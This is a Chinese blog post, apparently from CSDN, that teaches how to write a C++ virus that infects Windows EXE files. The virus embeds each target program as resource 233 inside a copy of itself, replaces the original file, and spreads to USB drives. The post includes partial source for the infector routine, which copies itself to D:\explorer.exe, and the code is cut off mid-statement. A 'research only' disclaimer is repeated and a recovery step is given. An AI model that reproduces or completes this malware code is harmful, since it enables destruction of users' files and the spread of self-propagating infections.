C++Virus手打系列,仅供研究

本文探讨了使用C++编程实现病毒的简单原理,通过BeginUpdateResource函数感染EXE文件,详细解释了病毒如何复制自身并替换原文件。作者强调此知识仅供研究,不应用于非法活动。同时,提供了恢复被感染文件的方法,即释放EXE文件中的'233'号资源。
摘要由CSDN通过智能技术生成

Virus(病毒)极其简单与脑残,但也可以毁灭许多资料…..
原理就是通过BeginUpdataResourse来感染EXE
先复制一个自己,然后将目标文件作为资源添加至复制文件中
再复制那个做了手脚的文件去替代原exe文件
相当于吞掉了原文件。。。
然后就是COPY COPY COPY COPY和COPY To Usb
反正仅供研究
若有人拿去做非法的活动,与本人无关。。。。。。
仅供研究仅供研究仅供研究仅供研究仅供研究仅供研究仅供研究仅供研究仅供研究仅供研究仅供研究仅供研究仅供研究究。。。。。
想要恢复只要将感染文件中的’233’号资源释放即可

#include<windows.h>
#include<tchar.h>
#include "resource.h"
#include<iostream>
#include<string.h>
#include<ctype.h>
#include<stdio.h>
//MAKEINTRESOURCE(IDR_EXE1)
#define DEVFILE "C:\\Program Files (x86)\\Dev-Cpp\\devcpp.exe"
HHOOK hook;
void KillExeFile(char *str)
{
    for(int i=0;i<=strlen(str);i++)
        if(str[i]=='$')
            return ;

    DWORD dwFileSize,dwBytesRead;
    HMODULE hLib=LoadLibraryA(str);
    HRSRC HResource;
    PBYTE lpBuffer;
    char This_File[256];
    memset(This_File,0,256);
    GetModuleFileNameA(NULL,This_File,256);
    CopyFileA(This_File,"D:\\explorer.exe",false);
    if(hLib==NULL)
        return ;
    HResource=FindResource(hLib,MAKEINTRESOURCE(233),RT_RCDATA);
    if(HResource!=NULL)
    {
        FreeLibrary(hLib);
        return ;
    }
    HANDLE hFile=CreateFileA(str,GENERIC_READ,0,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
    if(hFile==
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值